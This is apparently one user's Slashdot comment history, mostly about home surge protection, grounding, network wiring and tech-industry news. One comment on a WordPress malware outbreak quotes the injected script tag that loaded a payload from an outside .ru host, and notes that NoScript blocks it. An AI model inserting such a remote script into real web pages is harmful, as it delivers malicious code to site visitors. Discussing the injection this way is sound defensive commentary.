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  1. Hot, hot, hot on Is Phoenix the Next Silicon Valley? · · Score: 1

    I don't know if it's the next silicon valley but I had a layover there last Friday and it was hot, hot, hot at a scorching 109 degrees F at around 2PM. Our plane overheated while it was at the terminal.

  2. Re:Different markets on First Steps With the Raspberry Pi · · Score: 1

    One thing I'd like to do is to have OpenRADIUS running on a Pi. I'm concerned whether if a Pi has the horsepower for it, much less an Arduino.

  3. Re:Check out mikeholt.com on Ask Slashdot: Best Option For Heavy-Duty, Full-Home Surge Protection? · · Score: 1

    Hopefully the original poster will see this reply.

    Why does Eaton make their suppressors install towards the end of the buss bars? Most every other manufacturer advises to have it installed closest to the service/feeder conductors while making the device's wires as short as possible. Eaton's installation seems to go against this recommendation (furthest away from the service/feeder conductors).

  4. Re:Check out mikeholt.com on Ask Slashdot: Best Option For Heavy-Duty, Full-Home Surge Protection? · · Score: 1

    For people who aren't aware, Mike Holt and some moderators for some of his subforums have participated in the definition of the NEC. Mike's Youtube channel gives a glimpse of the process. They readily admit when a rule is dumb but they provide insight on the rationale behind their definition.

  5. Re: good ground connection on Ask Slashdot: Best Option For Heavy-Duty, Full-Home Surge Protection? · · Score: 1

    http://www.mikeholt.com/technical.php?id=grounding/unformatted/Groundrodfault&type=u&title=Ground%20Rod%20Does%20Not%20Assist%20in%20Clearing%20a%20Fault%20(01-25-2K) http://forums.mikeholt.com/showthread.php?t=107483&page=2 and http://forums.mikeholt.com/showthread.php?t=139984&page=6

    explain why a ground rod does not assist in clearing a fault. The problem is not the copper ground rod but the earth itself. A proper grounding conductor is the bare copper wire that's part of the branch circuit wire that eventually goes back to the equipment grounding bar in a sub- or service (main) panel.

  6. Re:Not just the power lines on Ask Slashdot: Best Option For Heavy-Duty, Full-Home Surge Protection? · · Score: 1

    Some switches have a grounding terminal at the back. They should go to a ground bar which in turn should bond inside a sub or service panel's grounding bar. For switches that don't have one, just create one and bond it to a ground bar.

  7. Re: good ground connection on Ask Slashdot: Best Option For Heavy-Duty, Full-Home Surge Protection? · · Score: 1

    Ground rods do not have the proper impedance required for equipment ground--specifically they could prevent a breaker from tripping which would be a very dangerous situation. Ground rods' high impedance as opposed to a proper grounding conductor is why they are only used to mitigate lightning strikes.

    If your house is on a concrete slab it would be quite difficult to rewire anything without tearing up lots of sheetrock or lath and plaster.

  8. Check out mikeholt.com on Ask Slashdot: Best Option For Heavy-Duty, Full-Home Surge Protection? · · Score: 2

    http://www.mikeholt.com/mojonewsarchive/LSP-HTML/HTML/TVSS-Protection-Questions-and-Answers~20040708.php

    Those guys know their electricals.

    Damage from a close lightning strike will probably not be mitigated by whole house surge suppressors. But I would still install one. The important point to look for is UL 1449-listed devices. Then at specific locations, install a good surge suppressor. Kinda like computer defense-in-depth. Something from ZeroSurge will help if your home is old and doesn't have ground; otherwise, a normal MOV surge suppressor requires good ground. This would be equipment ground and is not the same as your grounding rods/water pipe ground. The latter are really for lightning strikes. ZeroSurge doesn't use MOVs and don't rely on equipment ground. You may also want to consider getting a line conditioner but I haven't done any research on their viability.

    I'm looking at the Leviton 51120. Depending if your house is single or three phase, you'll need to get the right model for the type of service you're receiving. The Leviton is nice because it comes with its own J-box for extra protection. Eaton (Cutler-Hammer) has one but it's normally attached on the bottom of the buss bars while a lot of other companies recommend their TVSSes be installed on a breaker that is the closest to the service conductors. I prefer the standalone devices like the Leviton because they could be installed on any panel instead of a specific brand. The Leviton can also pigtail into an existing breaker. If you have Eaton/Square D QO breakers, you could attach up to 2 hots per breaker.

    If you do decide to get one installed, make sure you or the electrician make the conductors as short as possible and don't create too sharp a turn in them.

  9. Re:Experience says you are a noob on Ask Slashdot: Building A Server Rack Into a New Home? · · Score: 1

    Maybe you got sick of doing that condo project and you're rejecting racks in a home. I disagree and think a rack mount is essential for a decent sized house with more than 8 drops of cables. Otherwise, you'd get stuff like https://www.reddit.com/r/cablefail

    I do agree that rack servers are probably not a good idea since they make a lot of noise due to their use of small fans. The same goes for a lot of rack mounted switches but it's an essential piece of the network infrastructure. Daisy-chaining switches is not a good idea unless you like to bottleneck your bandwidth.

  10. Re:Cooling issues.. on Ask Slashdot: Building A Server Rack Into a New Home? · · Score: 1

    Unless you have an enclosed cabinet with air filters, placing delicate equipment in the garage doesn't seem like a good idea. All that dust and extra heat unless your garage is insulated.

  11. Re:two RJ-45 per room on Ask Slashdot: Building A Server Rack Into a New Home? · · Score: 2

    WiFi is adequate if you're forever alone or you're the only one using the spectrum. A home with 2 adults, 2 kids, and a bunch of personal devices that stream media from a central server, dedicated ethernet is the way to go.

  12. Re:Philips on $60 Light Bulb Debuts On Earth Day · · Score: 1

    My finger points to shoddy installation. People using stab connectors or not twisting wires before putting on wire nuts in J-boxes. You can potentially have a whole chain of unreliable connections from the breaker to the end of the branch circuit. The electronics is probably more susceptible to inconsistent currents than incandescent bulbs.

    Our recessed lights in our kitchen seems to not like bulbs and have various brands of CFLs fail within a year or two. They originally came with halogen bulbs. But two bulbs have worked for years in a desk lamp.

  13. Re:Made in USA on $60 Light Bulb Debuts On Earth Day · · Score: 1

    People have gotten used to cheap crap from China that we automatically distrust the longevity claims. So if you have a choice, what would one do? Buy cheap $5 bulbs from China or this one for $60. If Philips were to have a guarantee and we could swap out bulbs then we're talking. I would love to support Made in USA for stuff that works but the distrust is there by all mere saturation of the low quality stuff for years.

  14. Re:Method of infection on 30K WordPress Blogs Infected With the Latest Malware Scam · · Score: 1

    So looks like the injected code
    </DIV> <!-- END body-wrapper -->
    <script src="http://ionis90landsi.rr.ru/mm.php?=1"></script>
    </BODY>
    </HTML>

    would be take care of with NoScript as long as your white list is short and doesn't contain rr.nu in this example.

  15. Re:T-Mobile Pay as you go on Ask Slashdot: Best Mobile Phone Solution With No Data Plan? · · Score: 1

    That's why you get the gold which allows all your minutes to carry over for an entire year. After which you just need to add a minimum of $10 to carry over for another year. You can also buy these $100 recharges on e-Bay for less than $100.

  16. Re:The first four comments are disgusting. on Programming Prodigy Arfa Karim Passes Away At 16 · · Score: 5, Insightful

    Or driven by jealousy/sour grapes. I sure didn't have the discipline to do what she did when I was her age.

  17. Re:And Slashdot? on Reddit Turning SOPA "Blackout" Into a "Learn-In" · · Score: 1

    According to Alexa, Reddit is ranked 115; Slashdot is 1701.

  18. Re:Is No One Excited? on FreeDOS 1.1 Released · · Score: 1

    I'm interested because it appears to have limited USB support--UHCI only, no OHCI, EHCI, or xHCI. There is also TCP/IP. The last remaining feature that would be very useful is AHCI support.

  19. Experts in something else besides IT on The 'Cable Guy' Now a Network Specialist · · Score: 1

    I think they're experts in routing cables in very tight and uncomfortable spaces like attics and crawl spaces. They would often want to route stuff directly through a wall rather than in-wall because it's the easier to do the former. But I appreciate their expertise in this area. Connecting stuff to MPOEs and NIDs they definitely know that stuff. How to tell if the wiring into a premises are electrical or telco, yup. Splicing fiber, definitely. I'm surprised they're paid that low because I've asked a contractor how much it would cost to route networking and video cables in a home and I was quoted $4500 for 20 drops.

    But in terms of hooking stuff to an enterprise switch, I have doubts most of them know about VLANs and stuff like that.

  20. Re:Misleading summary on Go Daddy Loses Over 21,000 Domains In One Day · · Score: 5, Informative
  21. Re:let us not forget Rambus stole it on Rambus Loses $4B Antitrust Case · · Score: 3, Informative

    The JEDEC did not kick Rambus out of the organization. Rambus participated in the SDRAM talks but they didn't like JEDEC's terms. They filed submarine patents while participating in the standards discussions, withdrew from JEDEC and then started suing various manufacturers.

  22. Re:.... and it's not the only leech on Rambus Loses $4B Antitrust Case · · Score: 3, Insightful

    If SCO can last nearly a decade I'm not surprised Rambus's lawsuits would last as long if not longer.

  23. Re:Who are the backers of Zynga? on Zynga To Employees: Surrender Pre-IPO Shares Or You're Fired · · Score: 2

    Very easy information to get:

    Board of Zynga http://company.zynga.com/node/876:
    Mark Pincus
    Zynga CEO and Founder

    Bing Gordon
    Kleiner Perkins Caufield & Byers Partner

    Brad Feld
    Foundry Group Managing Director

    Jeffrey Katzenberg
    CEO of DreamWorks Animation

    John Schappert
    Director and Chief Operating Officer

    Owen Van Natta
    Director and Chief Business Officer

    Reid Hoffman
    LinkedIn founder and Executive Chairman

    Stanley J. Meresman
    Director

    Investors: http://allthingsd.com/20110718/zynga-updates-ipo-filing-to-list-investors-and-googles-one-of-them/

    "Here's the list of investors. I did not include all of the mutual fund holdings because there are dozens:

    Google Inc.
    SOFTBANK CORP.
    DAG Ventures Limited
    SB Asia Pacific Investments Limited
    Digital Sky Technologies Limited
    DST Global Limited
    Kleiner Perkins Caufield & Byers
    Fenwick & West LLP
    Institutional Venture Partners XII, L.P.
    Union Square Ventures 2004, LP
    Union Square Principals 2004, LLC
    PG Ventures, Inc.
    Foundry Venture Capital 2007, L.P.
    F&W Investments LLC-Series 2007
    Laird H. Simons, III
    Theodore H. Pincus Declaration of
    Trust Dated June 10, 1992
    Archimedes Capital
    Reid Hoffman
    Paul Martino
    The Dâ(TM)Anconia Trust
    Peter Thiel
    Avalon Ventures VIII, LP
    Gary Leff
    European Founders Fund GmbH & Co.
    Kardinal--Faulhaber"

  24. Dangerous precedent on Zynga To Employees: Surrender Pre-IPO Shares Or You're Fired · · Score: 5, Insightful

    Next thing you know, their employees would be asked to pay back portions of their salaries that management thought are undeserved.

  25. Re:Bogus study on Hardware Running Android Fails More Than iPhone, BlackBerry Hardware · · Score: 1

    But by allowing a shoddily-engineered product to run Android, Google is actually allowing their brand to be tarnished. People with these phones who experience glitches will blame either the phone manufacturer, Google, or both.